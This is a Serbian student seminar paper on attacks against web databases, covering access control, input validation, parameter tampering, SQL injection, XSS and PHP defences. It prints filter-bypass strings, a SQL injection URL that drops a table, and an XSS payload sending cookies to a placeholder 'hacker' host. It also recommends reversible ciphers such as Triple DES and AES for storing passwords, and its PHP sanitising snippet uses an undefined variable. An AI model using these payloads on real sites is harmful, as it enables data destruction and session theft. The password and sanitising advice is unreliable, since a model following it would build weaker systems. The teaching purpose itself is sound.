You are on page 1of 18

УНИВЕРЗИТЕТ ПРИВРЕДНА АКАДЕМИЈА У НОВОМ САДУ

ФАКУЛТЕТ ЗА ПРИМЕЊЕНИ МЕНАЏМЕНТ, ЕКОНОМИЈУ И
ФИНАНСИЈЕ, БЕОГРАД

Предмет: Безбедност и заштита информационих система
СЕМИНАРСКИ РАД
ТЕМА: НАПАДИ НА БАЗУ ПОДАТАКА

Ментор: Студент:
проф.др. Миодраг Брзаковић Лука Роговић, И004-22/2017

Београд, 2018. Година
САДРЖАЈ

1. УВОД ................................................................................................................................................... 3
2. ШТА ЈЕ БАЗА ПОДАТАКА ............................................................................................................. 3
3. КОНТРОЛА ПРИСТУПА БАЗИ ПОДАТАКА ............................................................................... 3
3.1. Аутентификација корисника ..................................................................................................... 4
3.2. Управљање сесијама .................................................................................................................. 4
3.3. Контрола приступа ..................................................................................................................... 5
4. УНОС КОРИСНИЧКИХ ПОДАТАКА У БАЗУ.............................................................................. 5
4.1. Валидација података .................................................................................................................. 6
4.2. Провера података ....................................................................................................................... 6
4.3. Црна листа ................................................................................................................................... 7
5. ПРАЋЕЊЕ НАПАДАЧА ................................................................................................................... 8
5.1. Руковање грешкама .................................................................................................................... 8
5.2. Анализа лог фајлова ................................................................................................................... 8
5.3. Реаговање на нападе ................................................................................................................... 9
6. НАПАДИ НА БАЗУ ПОДАТАКА .................................................................................................... 9
6.1. HTTP захтеви .............................................................................................................................. 9
6.2. Напад на аутентификацију ...................................................................................................... 11
6.3. SQL Injection (убризгавање) .................................................................................................... 12
6.4. XSS (Cross Site Scripting) ......................................................................................................... 14
7. ОДБРАНА ОД SQLi И XSS НАПАДА НА БАЗУ ПОДАТАКА .................................................. 15
8. ЗАКЉУЧАК ...................................................................................................................................... 17
9. ЛИТЕРАТУРА .................................................................................................................................. 18
1. УВОД
Током задњих десет година веб апликације на интернету су све прихваћеније од
стране корисника. Управо због тога веб развој се далеко раширио и напредовао, правећи
све сложеније апликације што захтева коришћење све већег броја програмских алата за
њихов развој. Већи број програмских алата доводи до већег броја пропуста у апликацији.
Једна од тих програмских алатки која се највише користи, преко 50% веб апликација, је
база података.
Због саме чињенице да велики број веб апликација користи базу података највећи
број напада је управо на њу. Зашто? База података садржи осетљиве информације
потребне нападачу, као што су: корисничка имена, криптоване лозинке, адресе
електронске поште, и још многе личне информације. Нападач може искористи те податке
како би извршио напад на базу података и стекао приступ целој или делу те веб
апликације.
За многа предузећа која своје информације о предузећу, запосленима, пројектима и
финансијама држе у бази података овакви напади за њих нису прихватљиви јер то доводи
до изласка поверљивих информација у јавност. За нападаче је то изазов.
Са развојем све веће технологије и све озбиљнијег приступа ка безбедности и
заштити информационих система нападачима је све теже да открију пропуст у систему
али то не значи да није немогућ само је потребно више времена. Нападачи најчешће
користе добро познату рањивост SQL injection која директно напада базу података.

2. ШТА ЈЕ БАЗА ПОДАТАКА
Базу података можемо схватити као скуп организованих информација у дигиталном
облику која се помоћу специјализованих програмских алата може прегледати, мењати,
сортирати, упоређивати, додавати и брисати. У њој су информације доступне у реалном
времену, било да је то информација о броју слободних хотелских соба, стања рачунарских
компоненти у продавници, бројних видео записа телевизијског оператера, све до личних и
поверљивих информација појединаца и/или предузећа.
Постоји више специјализованих програмских алата који се користе за управљање
базом података, а неки од најпознатијих су Oracle, MySQL, PostgreSQL и MS SQL. Са
великим бројем оваких алата за управљање базом података постоји велики број пропуста у
таквом систему што доводи безбедност података у опасност. Компаније које развијају ове
програмске алате се свакодневно боре да анализирају могуће пропусте у дизајну њиховог
система и да га отклоне са сваком новом верзијом. Из тих разлога је увек пожељно да се те
апликације увек ажурирају са новим верзијама чим оне буду доступне.

3. КОНТРОЛА ПРИСТУПА БАЗИ ПОДАТАКА
Свака апликација има потребу за контролом приступа, односно контролом корисника који
приступају тим апликацијама. Сваки корисник припада некој корисничкој групи која има посебне
привилегије. Привилегије омогућавају групи корисника да приступе једном делу апликације и да
забране приступ другом делу апликације. Тиме се постиже контрола приступа корисника.

Основне групе корисника можемо поделити на:

 анонимне;
 аутентифициране и

3
 административне

Свака апликација, у овом случају база података, треба да има три основна сигурносна механизма
која представљају темељ сигурне базе података. То су:

 аутентификација;
 управљање сесијама и
 контрола приступа

3.1. Аутентификација корисника
Механизам аутентификације корисника је главни механизам у дизајну сигурног
система јер он врши проверу сваког корисника који приступа апликацији базе података.
Без овог механизма апликација би сваког корисника класификовала као анонимног и тиме
би сваки корисник имао иста права приступа сваком делу апликације.
Аутентификација корисника се прши путем једноставне форме за пријављивање
која од корисника захтева унос корисничког имена или адресу електронске поште и
лозинку. Такве унете податке апликација у својој бази проверава да ли су унети подаци
валидни и исправни, као и ком кориснику ти подаци припадају.
Такав механизам аутентификације је једноставан и може бити подложан за упад од
стране нападача коме ти подаци не припадају. Такав проблем се решава додавањем још
једног корака аутентификације корисника који подразумева нпр. коришћење одређених
сертификата, паметних картица или слањем конфирмационе текстуалне поруке на
мобилни телефон.
Додатне функције аутентификације корисника садрже регистрацију нових
корисника, опоравак корисничког налога и промену заборављене лозинке. Механизам за
аутентификацију као такав пати од несавршености у дизајну у коме нападач може наћи
пропуст и са лакоћом заобићи све провере до упада у систем.

3.2. Управљање сесијама
Други по реду механизам је механизам за управљање сесијама сваког корисника.
Након успешне пријаве корисника у апликацију базе података он добија права приступа
одређеном делу те апликације у зависности од тога којој групи корисника он припада.
Апликација може да има више корисника присутних у исто време који користе базу
података и на њој извршавају многобројне упите. Апликација мора да прихвата или
одбацује те захтеве у зависности од права приступа тог корисника. То се решава
употребом сесија.
Сесија се креира након пријаве корисника у апликацију и она представља скуп
података који су креирани од стране апликације. Апликација користи сесију како би
разликовала све кориснике у систему и њихова права приступа. Ако корисник неко време
не користи апликацију, односно не шаље никакве захтеве према бази података сесија се
прекида.
Сесије су следећи корак у безбедности базе података али исто тако и веома рањив
механизам. Сесије увек иду у комбинацији са HTTP колачићима (cookies) како би
олакшали комуникацију између корисника и апликације базе података. Због тога нападач
уколико на било који начин дође у власништво таквог колачића може се маскирати као
корисник-жртва и да добије сва права приступа тог корисника. Овакав начин се може
заобићи не коришћењем колачића који се чувају на корисничком рачунару и креирањем
нових или изменом постојећих сесија после сваког новог захтева према апликацији базе

4
података. Такође све информације које се чувају у сесијама и колачићама због повећања
сигурности је неопходно криптовати.

3.3. Контрола приступа
Последњи корак у контроли приступа бази података је механизам за контролу
приступа. Како би апликација базе података знала који корисников захтев треба да
допусти, а који да одбије потребно је да сваки корисник има одређена права приступа,
односно да припада одређеној корисничкој групи (енгл. role).
Уколико претходна два механизма функционишу исправно апликација зна
идентитет корисника од којег је примила захтев који треба да изврши и зна да ли је тај
корисник ауторизован да тај захтев пошаље апликацији. Иза оваквог механизма се крије
напреднија логика са различитим разматрањем који се односи на различите делове
апликације и различите типове функционалности.
Апликација може да подржи бројне улоге за сваку корисничку групу, тј. корисника.
Те улогу укључују комбинације специфичних привилегија и приступа. Индивидуалним
корисницима може бити одобрен приступ само једном делу апликације и подскупу
података који се налазе унутар базе података.
Због комплексне природе захтева контроле приступа, овај механизам је најчешће
извор сигурносних рањивости који омогућавају нападачу неауторизован приступ
подацима и функционалностима апликације. Програмери често криве поступак каква ће
бити интеракција између корисника апликације и саме апликације. Уколико је апликација
доста комплексна са великим бројем улога може се направити пропуст у провери где се
одређеној улози дају права неким функционалностима апликације за која не би требало
да имају права приступа.

4. УНОС КОРИСНИЧКИХ ПОДАТАКА У БАЗУ
Врло важна ствар код база података је унос корисничких података у базу података.
Сваки унос од стране корисника је потенцијална опасност јер се кориснику не може
веровати какве податке шаље према бази података. Много различитих напада на
апликације долази због слања неочекиваног уноса података који су створени како би
иницирали погрешно понашање апликације у корист нападача, а које није било
замишљено и предвиђено од дизајнера апликације базе података.
Из тих разлога је потребно да сама апликација врши строге провере унетих
корисничких података. То подразумева на пример да корисничко име има одређену
дужину карактера (између 4 и 10 карактера) и да не сме садржати специјалне карактере
(/*-#$%='...). Такође код адресе електронске поште је потребно извршити проверу да је
унета валидна адреса, односно да адреса има дозвољене каракетре, као што су доња црта и
тачка) и да има обавезан карактер који дели корисничко име од домена (@). Важно је
обратити пажњу да се не дозволи унос HTML тагова.
У неким случајевима апликација ће морати да прихвати произвољан унос од
корисника, као на пример када корисник има блог где ће у текстуалном пољу писати о
чланку за хаковање у коме користи примере кода и специјалних карактера. Такви подаци
морају бити унети у базу како би могли исти такви да буду приказани на сајту. Један од
начина како можемо осигурати апликацију и базу података од оваквих уноса је да се сваки
специјални карактер маскира, замени са другим или да се испред сваког специјалног

5
карактера дода још један карактер који поништава његову важност, као на пример
карактер супротне косе црте (\).
Додатни начин како корисник може послати ка апликацији податке које апликација
не очекује је кроз HTTP колачиће (енгл. cookies). Колачићи се чувају на корисниковом
рачунару и нападач је у могућности да их измени и у њих убаци одређени податке.
Апликација мора да врши и проверу колачића и да ли су подаци у њима валидни и
исправни и да их упореди са подацима које има у бази података али са освртом на то да
провери да ли у подацима постоје неки специјални карактери који могу да измене захтев
упућен ка бази података.

4.1. Валидација података
Валидација података је први у реду који врши валидацију унетих корисничких
података. Валидација се може вршити на страни корисника, односно на корисниковом
рачунару или на страни апликације, односно на страни сервера на коме је сама апликација
инсталирана. Увек је пожељно вршити овакав тип валидације, односно дупло валидирање.
То је из разлога растерећења сервера и одбрана од нежељених уноса.
Растерећење сервера се врши валидацијом на корисниковој страни где уствари
корисников рачунар троши своје ресурсе како би извршио валидацију унетих података.
Ово је добро уколико податке уноси корисник који нема намере да нашкоди апликацији
него је једноставно својом грешком унео погрешне податке. Овај корак није добар у
случају да је корисник нападач. Нападач овај корак може да заобиђе тако што ће
зауставити процесе на свом рачунару који врше валидацију унетих података и тиме
омогућио да малициозан код прође до сервера.
Одбрана од нежељеног уноса у базу података се врши на страни апликације где се
оптерећује сервер, а не корисников рачунар. Тиме се постиже да нападач не може тако
лако да заобиђе валидацију унетих података као у случају валидације на корисниковом
рачунару. Али то није немогуће.
Код валидације података апликација проверава да ли су унети подаци у форми у
којој се ти подаци очекују и да ли имају дозвољене специјалне карактере, дужину
стрингова, бројеве, итд. На пример нападач може унети следећи малициозни код у форму:
<script>

Валидација апликације ће препознати структуру стринга и специјалних карактера и
схватити да је реч о HTML тагу, односно податку који апликација не очекује и одбациће
тај стринг. Проблем настаје када нападач предвиди такву валидацију и напише следећи
код:
<scr<script>ipt>

У овом случају апликација ће препознати HTML таг и одбацити, а остатак стринга
ће проћи валидацију и бити послат као захтев према бази података. Када се избаци
<script> од преосталих <scr и ipt> поново ће настати <script>. Пропуст код дизајна овакве
валидације је што се не врши рекурзивна функција, односно функција која ће да позива
саму себе изнова и изнова све док филтар не очисти унешени податак од не дозвољених
карактера. Такође је потребно приликом прве детекције недозвољеног уноса уклонити све
податке и онемогућити слање преосталих података ка апликацији.

4.2. Провера података
Као што је већ речено сваки унос корисничких података је потенцијално опасан за
сигурност базе података јер се никад не зна шта ће корисник/нападач унети кроз форму

6
апликације. Апликација се онда дизајнира тако да мора вршити строге провере сваког
корисничког уноса.
На пример имамо форму за регистрацију новог корисника где се захтева да
корисник унесе име и презиме, корисничко име, лозинку, адресу електронске поште и
датум рођења. Апликација мора да провери да ли унето име и презиме има велико слово
на почетку сваке речи, да нема бројеве и специјалне карактере и да је унети податак као
string, а не као intiger. Исто важи и за корисничко име само су дозвољени бројеви и
специјални карактери као доња црта и тачка. Лозинка такође треба да буде ограничена
неким скупом правила са мало већим бројем дозвољених специјалних карактера. Адреса
електронске поште у имену сме садржати само мала слова енглеског алфабета, тачку као
специјални карактер и бројеве, специјални карактер @ за развдајање домена од имена и
домен мора поштовати унапред одређену валидну структуру дозвољених карактера.
Датум рођења мора да се уноси преко три независна intiger поља или преко HTML тага за
календар како би се цео унос претворио у timestamp.

4.3. Црна листа
Црна листа је листа која се састоји од недозвољених речи, низова или шаблона за
које се зна да се користе у нападима. Валидацијски механизам блокира све податке који се
подударају са онима у црној листи. Овај начин има најмање ефекта јер се рањивост унутар
апликације може искористити уз помоћ разних врста уноса од којих неки могу бити
кодирани или написани на различите начине. Врло је вероватно да ће црна листа заобићи
неке шаблоне који се користе за нападе.
Много темељних филтера на црној листи се могу заобићи врло лако и то радећи
тривијалне промене на унос који је тренутно блокиран, као на пример:
 Ако је SELECT блокиран, покушати са SeLeCt (база података је case-insensitive);
 Ако је or 1=1 блокиран, покушати са or 2=2 (не може се заобићи црном листом);
 Ако је alert(‘XSS’) блокиран, покушати са prompt(‘XSS’), итд.

У неким случајевима филтри који су направљени да блокирају специфичне кључне
речи могу се заобићи коришћењем нестандардних знакова између израза како би
пореметио валидацију коју ради апликација:

SELECT/*foo*/korime,lozinka/*foo*/FROM/*foo*/korisnici
<img%09onerror=alert(1) src=a>

Додатно, многи филтери на црним листама који су имплементирани унутар
апликација су рањиви на NULL byte нападе. Због другачијег начина на који се рукује
низовима уметањем NULL бајта било где пре израза који је блокиран може изазвати да
неки филтри престану процесирати унос и зато не идентификују израз:

%00<script>alert(1)</script>

7
5. ПРАЋЕЊЕ НАПАДАЧА
Код дизајнирања и програмирања апликације потребно је претпоставити да ће апликација бити
мета разних хакерских напада. Глава функција апликације треба да прати и реагује те нападе на
контролисан начин.

Ти механизми се састоје из следећег:

 Руковање грешкама;
 Анализа лог фајлова и
 Реаговање на нападе

5.1. Руковање грешкама
Колико год програмери били пажљиви приликом провере унетих корисничких
података готово је неизбежно да ће се неке неочекиване грешке јавити. Грешке које се
могу појавити су грешке инициране од обичног корисника и од нападача. Грешке од
обичног корисника су најчешће узете у обзир током развоја и тестирања апликације, док
су грешке које нападач може да изазове тешке за идентификовање.
Кључни одбрамбени механизам за апликацију је исправно руковање неочекиваним
грешкама које се могу показати, а то подразумева испис одговарајућих порука о грешци.
Апликација не би смела приказивати никакве системски генерисане поруке или debug
информације које нападач може да изскористи у своју корист. Такође претерано опширна
порука о грешци може помоћи нападачима у напредовању код добијања потребних
информација за напад. Нападач може да искористи неисправно руковање грешкама како
би добио осетљиве информације од програмског језика у коме је апликација направљена,
функција које се користе, па чак и имена корисника и табела из базе података. Те грешке
ће помоћи нападачу да схвати како апликација функционише.
Већина апликација кроз програмски језик подржава добро руковање грешкама кроз
try-catch блокове који треба да ухвате неочекиване грешке и генеришу испис кориснику не
откривајући осетљиве информације.

5.2. Анализа лог фајлова
Лог фајлови су врло важни код откривања покушаја малициозних упада у
апликацију. Они би требали омогућити власницима апликације да схвате тачно шта се
дешава, која рањивост је искоришћена, да ли је нападач добио неауторизован приступ
подацима или направио неку од неауторизованих акција и колико је год могуће доставити
више информација о идентитету нападача.
Најчешће се бележи:
 Сви догађаји који су повезани са аутентификацијом, као што су успешна и неуспешна
пријава и промена лозинке;
 Кључне трансакције, као што су уплате кредитним картицама и пренос новчаних
средстава;
 Покушаји приступа који су блокирани од стране механизма за контролу приступа;
 Сваки захтев који садржи нападачни низ карактера који указује на малициозне намере;

На пример код апликације банке која захтева високу сигурност сваки клијент је
забележен у потпуности, пружајући комплетан форензички запис који може бити
искоришћен у истрагама. Такви логови се чувају на сигурним и независним локацијама јер
такви логови нападачу су као златни рудник информација.

8
Логови омогућавају власнику апликације да истражи покушаје напада на
апликацију и предузимања правних мера против нападача. Међутим, у многим
ситуацијама пре тога је потребно извршити хитну акцију у реалном времену како би се
апликација заштитила од напада. На пример апликација треба да има механизам за
блокирање IP адресе корисника или кориснички налог нападача. Док у екстремним
случајевима када нападач већ добије приступ потребно је привремено онемогућити
апликацију док се не предузму корекривне мере.
Апликација се од оваквих напада може осигурати и кроз firewall софтвер за
откривање упада. Обично ти софтвери користе више темељних правила на потписима и
аномалијама како би се идентификовала малициозна употреба апликације и реактивно
блокирали малициозни захтеви и обавестити администраторе.

5.3. Реаговање на нападе
Многи систему високе сигурности садрже уграђене механизме да реагују
дефанзивно према оним корисницима који су идентификовани као малициозни. Због тога
свака апликација је различита. Већина напада захтева од нападача да систематично
испитује рањивости слањем бројних захтева који садрже смишљене податке који би
открили присутност различитих рањивости.
Механизми валидације и провере унетих података идентификује велики део тих
малициозних захтева и блокира улаз података како не би дошло до нежељених последица
по апликацију. Међутим, логично је претпоставити да ће неки подаци заобићи филтере и
да апликација садржи неке рањивости које чекају да буду откривене. Врло је вероватно да
ће нападач наћи те рањивости. Из тог разлога апликације користе мере за аутоматску
реакцију на такве захтеве успоравајући обраду тих захтева или би прекинула сесију тог
корисника што би захтевало да нападач мора поново покренути сесију и направи неке
друге кораке пре него што може наставити са нападом. Иако такве мере неће у потпуности
одбранити апликацију од стрпљивог и одлучног нападача али ће смањити број нападача и
даће више времена нападачу како би апликација могла да надгледа ситуацију и предузме
још драстичније мере.

6. НАПАДИ НА БАЗУ ПОДАТАКА
Постоји много различитих начина које нападач може искористити како би
заобишао све механизме заштите апликације базе података и упао у апликацију.
Неки од најчешћих начина су:
 HTTP захтеви
 Напад на аутентификацију
 SQL Injection (убризгавање)
 XSS (Cross Site Scripting)

6.1. HTTP захтеви
Код HTTP захтева постоји неколико могућности како нападач може послати
апликацији малициозни захтев у његову корист, као на пример:
 Скривена поља унутар форми;
 Криптована/замућена скривена поља унутар форми;
 HTTP колачићи;
 URL параметри;

9
Скривена поља унутар форми

Скривена поља унутар форми су чест механизам за пренос података путем клијента
на ефикасан начин. Ако је поље скривено не приказује се на екрану корисника, али то
поље има име и вредност унутар форме и шаље се назад ка апликацији када корисник
поднесе захтев. Структура форме са скривеним пољима се може видети погледом у
изворни код у интернет прегледачу.
<form method=”post” action=”prodavnica.php?proizvod=1”>
Proizvod: iPhone 5 <br/>
Cena: 449 <br/>
Količina: <input type=”text” name=”kolicina”> (Maksimalna količina je
50)
<br/>
<input type=”hidden” name=”cena” value=”449” />
<input type=”submit” value=”Kupi” />
</form>

У коду можемо видети да поље има своје име и цену. Садржај тог поља се шаље ка
апликацији када купац кликне на дугме купи. Напад се може извршити тако што нападач
може изменити изворни код HTML странице и тако промени вредност скривеног поља за
цену како би купио производ по нижој цени.

Криптована/замућена скривена поља у форми
Понекад су подаци у скривеним пољима криптовани и на такав начин се преносе.
Када купац купи производ апликација са серверске стране проверава интегритет знаковног
низа или га дешифрује како би се обрада обавила на нормалној текстуалној вредности.

<input type=”hidden” name=”price_token”
value=”E76D213D291B8F216D694A34383150265C989229”>

Ако се зна да је иза скривеног поља чисти знаковни низ може се покушати
одгонетнути који алгоритам се користи за криптовање. Чак ни и да криптовани низ није
могуће открити нападач може заобићи и ту препреку тако што ће наћи производ који има
нижу цену и у изворном коду заменити га у скривеном пољу скупљег производа.

HTTP колачићи
Уобичајни пренос података путем клијента је коришћењем HTTP колачића. Исто
као и скривена поља нису приказани на екрану и корисник их не може директно
модификовати. Колачићи се наравно могу модификовати користећи Proxy и мењајући или
одговор од апликације који их поставља или захтеве корисника који их издаје.

HTTP/1.1 200 OK
Set-Cookie: DogovoreniPopust=25
Content-Length: 1530
...

Ако апликација верује вредности која се налази унутар колачића DogovoreniPopust,
нападач модификовањем може да добије жељени попуст, као на пример:

10
POST /shop/92/prodavnica.php?proizvod=3 HTTP/1.1
Host: mdsport.shop
Cookie: DogovoreniPopust=50
Content-Length: 10
kolicina=1
...

URL параметри
Врло често апликације преносе податке путем URL параметара до корисника, где
корисник може видети имена тих параметара и њихове вредности.

http://www.aplikacija.shop/prodavnica.php?proizvod=2&sifra=23

Када се овакав URL са параметрима унутар интернет прегледача нападач има увид
у неке информације који се лаго могу модификовати путем GET захтева без коришћења
било каквих алата. У доста случајева апликација не дозвољава промене тих параметара
али такве забране се могу заобићи користећи Proxy. Из тих разлога путем URL параметара
се никад не стављају осетљиве информације које би угрозиле безбедност апликације.

6.2. Напад на аутентификацију
Код дизајнирања и програмирања аутентификације корисника су доступне разне
технологије за имплементирање:
 Аутентификација путем HTML форми;
 Вишефакторски механизми комбинације лозинке и физичком токена (као код банака);
 Клијентски SSL сертификати и/или паметне картице;
 Основна HTTP и digest (шифрирана) аутентификација и други

Највише заступљена аутентификација од стране апликација је коришћењем HTML
форме за прикупљање корисничких података и слање истих до апликације. Користи је
више од 90% апликација.
Најчешћи напади су изазвани коришћењем:
 Лоших или слабих лозинки;
 Несигурним преносом корисничких података;
 Несигурним складиштењем корисничких података;
 Напада на контролу сесијама;
 Напада на контролу приступа;

Лоше или слабе лозинке

Пуно апликација уопште не контролише квалитет унетих лозинки својих корисника
или то чине уз минималне контроле, па се допуштају:
 Врло кратке или празне лозинке;
 Честе речи из речника или имена;
 Иста лозинка као и корисничко име и
 Лозинка која је увек постављена на почетну задату вредност

11
Врло је вероватно да ће апликација која не захтева од корисника јаке лозинке имати
већину корисничких налога са слабим лозинкама где нападач може врло лако погодити те
лозинке што му омогућава недопуштен приступ апликацији. Нападач може искористити
аутоматизоване bruteforce нападе и имати неколико хиљада покушаја у минути како би
погодио шифру. Неке апликације користе контроле да спрече такве нападе. На пример
апликација може у бази података бележити број неуспелих пријава у систем и тиме
блокирати налог корисника након максималног броја покушаја.
Несигуран пренос корисничких података

Ако апликација користи некриптовану HTTP конекцију за пренос корисничких
података могуће је те податке док путују пресрести помоћу различитих алата за
прислушкивање који су смештени на мрежи.
Несигурно складиштење корисничких података

Ако апликација складишти корисничке податке на несигуран начин тада сигурност
механизма може бити нарушена чак и ако не постоји нека мана у процесу
аутентификације. Обично се може наћи да се лозинке корисника у бази података чувају у
читљивом текстуалном формату. Ако којим случајем нападач успе да исчита табелу
корисничких налога из базе података има информације о свим корисничким именима и њиховим
лозинкама које може да искористи за упад у систем.

Лозинке је увек потребно криптовати и као такве сачувати у бази података.
Криптовање се не препоручује коришћењем старих стандардних алгоритама за
криптовање као што су MD5 и SHA-1 јер је нападачу лако да са различитим алатима
дешифрује лозинке. Најсигурнији криптографски алгоритми који се сада користе и који ће
бити једни од најсигурнијих у будућности су Triple DES, RSA, Blowfish, Twofish и AES.
Напад на контролу сесијама

Механизам за контролу сесијама је темељна сигурносна компонента у већини
апликација. Омогућује апликацији да на јединствен начин идентификује корисника међу
много различитих захтева и акумулира корисниково стање интеракције са апликацијом.
Контрола сесијама осигурава да сваки корисник нема права приступа већа него она што би
требао имати. Рањивости који постоје у овом механизму настају због слабости у
генерисању сесија и слабости код руковања сесијским токенима за време њиховог века
трајања.
Не користи свака апликација сесије. Неке апликације високе сигурности имају
комплексну функционалност, користе неке друге технике контроле стањем. На пример
користи се HTTP аутентификација која је слична као аутентификација преко HTML форме
и сесија само што се корисник сваки пут изнова пријављује на систем.
Напад на контролу приступа

Недостаци унутар контроле приступа могу се појавити из више различитих извора.
Лош и преједноставан дизајн апликације понекад онемогућује провере за
неауторизованим приступом или неки превиди остављају неке функције незаштићеним.

6.3. SQL Injection (убризгавање)
SQL Injection или SQLi је напад приликом којег нападач покушава уметнути SQL
код који би искористио рањивости у апликацији. Приликом уметања кода модификује се
оригиналан SQL упит преко бази података, односно мења се његова логика.

12
Сваки податак који се шаље ка бази података потребно је проверити. То укључује
све URL параметре, колачиће, POST податке и HTTP заглавља.
Код тестирања и тражења рањивости, потребно је проћи кроз цео процес у којем се
уносе изграђени низови. Апликације често скупљају колекције података преко неколико
захтева и то проследе до базе података тек када је цео сет прикупљен. У том случају они
који се баве потенцијалним тестирањима могу промашити доста SQLi рањивости ако
шаљу израђене низове података унутар сваког захтева засебно и мотре одговор односно
реакцију апликације на тај захтев.
Један од начина за потврду да апликација комуницира са базом података у
позадини је убацивање SQL wildcard знака % у неки параметар. На пример ако се % знак
убаци унутар форме за претраживање обично се врати велики број резултата, указујући на
то да је улаз прослеђен у SQL упит. Наравно то не указује одмах на то да је апликација
рањива већ само да би требало темељније испитати не би ли се нашли неки пропусти.
Када нападач убаци нумерички податак у SQL упит апликација још увек може тим
податком руковати као да је знаковни (string). Међутим у великој већини случајева
нумерички подаци се шаљу ка бази у нумеричком облику и не налазе се унутар
једноструких наводника.
Неки знакови који се желе убацити имају специјално значење унутар HTTP захтева.
Ако се ти закови желе убацити у напад морају се кодирати како би се правилно
интерпретирали:
& %26
= %3d
space %20
+ %2b
; %3b
На пример нападач је ушао на страницу профила неког корисника и користи URL
параметре како би открио рањивост апликације.
Оригинални SQL упит који се шаље ка бази података изгледа овако:

SELECT * FROM users WHERE id = 34

А URL изгледа овако:

http://www.aplikacija.com/korisnici.php?korisnik_id=34

Нападач уз параметар korisnik_id додаје код којим ће добити више информација
или ће му бити исписана грешка коју може искористити да схвати како је апликација
дизајнирана.

Нови URL:

http://www.aplikacija.com/korisnici.php?korisnik_id=34+or+34%3d34

13
Нови SQL упит:

SELECT * FROM users WHERE id = 34 or 34=34

Нападач може на овакав начин уметнути два упита уместо једног где се други упис
сматра малициозним јер може угрозити целу базу података. Наиме, нападач може
обрисати једну или више табела у бази података уколико зна њихова имена.

Пример URL адресе:
http://www.aplikacija.com/korisnici.php?korisnik_id=34+%3b+DROP+table+
galerija

Пример SQL упита:

SELECT * FROM users WHERE id = 34;DROP table galerija

Тиме би нападач обрисао табелу галерија и угрозио дизајн базе података.

6.4. XSS (Cross Site Scripting)
Cross Site Scripting или XSS је техника напада која присиљава веб страице на
приказ малициозног кода који се тада извршава у корисниковом веб прегледачу. Нападач
користи веб страницу само као канал за обављање напада. Код XSS-а мета напада је
корисник, а не апликација. Једном када нападач стекне контролу над корисниковим веб
прегледачем у могућности је да обавља различите акције као што су крађа рачуна и
профила, бележење уноса који корисник уноси преко тастатуре, интранет хаковање, итд.
Постоји неколико сценарија како се малициозни JavaScript може наћи на веб
страници:
 Власник странице га је намерно ставио;
 Веб страница је промењена користећи рањивости на мрежи или оперативном систему
путем JavaScript malware-а;
 XSS рањивост која је искоришћена и JavaScript код је убачен унутар страница;
 Жртва је кликнула на специјално конструисан DOM-based XSS линк;

Пример:

<html><body>

<h1>XSS Primjer</h1>

<script src=“http://localhost/javascript_malware.js“ />

14
</body></html>

Веб страница садржи уграђени JavaScript malware. Корисник који посети ову
страницу аутоматски ће покренути малициозну скрипту која се налази на локацији
http://localhost/javascript_malware.js и извршава се у контектсту странице коју је корисник
посетио.
На пример ако нападач у поље за претрагу унесе следећи код:

"><SCRIPT>alert('XSS%20Testiranje')</SCRIPT>

И добије поруку „XSS Testiranje“, то значи да онда може да унесе неки
компликованији JavaScript код, као што је:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.
cookie;

</SCRIPT>

Где нападач унутар странице корисника може дохватити колачиће.
Већина људи уопште не схвата могућности XSS напада. Радумеју да JavaScript
malware може украсти колачиће или преусмерити крисника на неку другу страницу. Такви
напади су само мали део онога што је све могуће учинити када се дозволи извршавање
кода на веб прегледачу корисника. Мали баг у апликацији може завршити крађом
историје посета корисника или интранет хаковањем.
Нападач може искористити историју посета корисника ка другим страницама и
искористити ту информацију за подваљивање лажних форми за аутентификацију, ширење
веб црва или слање SPAM порука.
Чак и ако корисник користи неки firewall није у потпуности сигуран. Ако корисник
кликне на неки линк покреће уграђени малициозни JavaScript код који преузима контролу
над корисниковим веб прегледачем. JavaScript malware убацује Java applet који открива
жртвину унутрашњу NAT IP адресу. Тада користећи корисников прегледач као платформу
идентификује и скупи информације о веб прегледачу унутар интранет мреже и на крају
преузме контролу над корисниковим рачунаром.

7. ОДБРАНА ОД SQLi И XSS НАПАДА НА БАЗУ ПОДАТАКА
Како би се власник апликације успешно одбранио од SQLi и XSS напада програмер
треба да одради неизоставне методе програмирања кроз модул пријаве и регистрације
корисника, кроз неколико различитих популарних програмских језика који имају заштиту
од таквих напада (Ruby on Rails, Java, PHP. C#/ASP). Сваки од програмских језика у
позадини има другачију базу података, односно ону која се најчешће уз тај програмски
језик користи.

15
PHP је један он најраширенијих и најпопуларнијих језика у веб програмирању.
Много апликација су направљене управо помоћу њега, укључујући многе познате CMS
апликације. Оријентисан је по C и Perl синтакси.
PHP функције које се користе за заштиту од оваквих напада су:
 htmlentities() – функција је идентична као htmlspecialchars(), претвара знакове у HTML
ентитете, међутим за разлику од htmlspecialchars() није компратабилна са XML-ом,
укључујући и HTML5 XML серилизацију
o & постаје &amp;
o “ постаје &quot;
o ’ постаје &apos;
o < постаје &lt;
o > постаје &gt;
 htmlspecialchars() – ова функција је довољна за филтрирање излаза који се приказује у веб
прегледачу ако се користи ISO-8859-1 или UTF-8, за остале типове кодирања препоручено
је коришћење htmlentities() функције
 strip_tags() – уклања HTML, XML и PHP тагове из задњег низа
 stripslashes() – функција уклања \ које додаје addslashes() функција

Потребно јенапоменути да наведене функције треба искључиво користити у
комбинацији једне са другим, јер саме по себи пружају заштиту само по једном сегменту.
Пример:
$ocisti=trim($vrednost);

$ocisti =strip_tags($cleanval);

$ocisti =stripslashes($cleanval);

$ocisti =mysql_real_escape_string($cleanval);

$ocisti =htmlspecialchars($cleanval);

Најбоља заштита од SQLi-а је коришћење параметризованих упита или
припремљениих упита. Код PHP-а постоје две опције, а то су коришћење PDO (PHP Data
Objects) или коришћењем mysqli.
PDO је слој базе података који пружа методе за приступ базама података. SQL упит
се прослеђује до prepare функције где се расчлањује и компајлира од стране сервера базе
података. Одређивањем параметара (? или :name) даје се бази података информација где
се жели филтрирати. Кад се позове функција execute припремњен упит се комбинује са
вредностима параметара који су одређени. Значи SQL упит је послат и парсиран од стране
апликације базе података одвојено од било каквог параметра. На тај начин је немогуће
спровести SQLi напад.

16
8. ЗАКЉУЧАК
У данашњем свету интернета и добу апликација велики број апликација користе
базу података у позадини за чување информација. Због тога сигурност база података
највише зависи од апликативног слоја за разлику од ранијих апликација чија је сигурност
зависила од мрежног слоја.
Сигурносна окружења веб апликација нису више статична него динамична, што
значи да неко сигурносно решење за једну апликацију неће важити и за другу. Данашњи
напади су више оријентисани на кориснике тих апликација више него на саме апликације
као што је раније био случај. Напади на кориснике су они који се највише развијају и
напредују задњих неколико година.
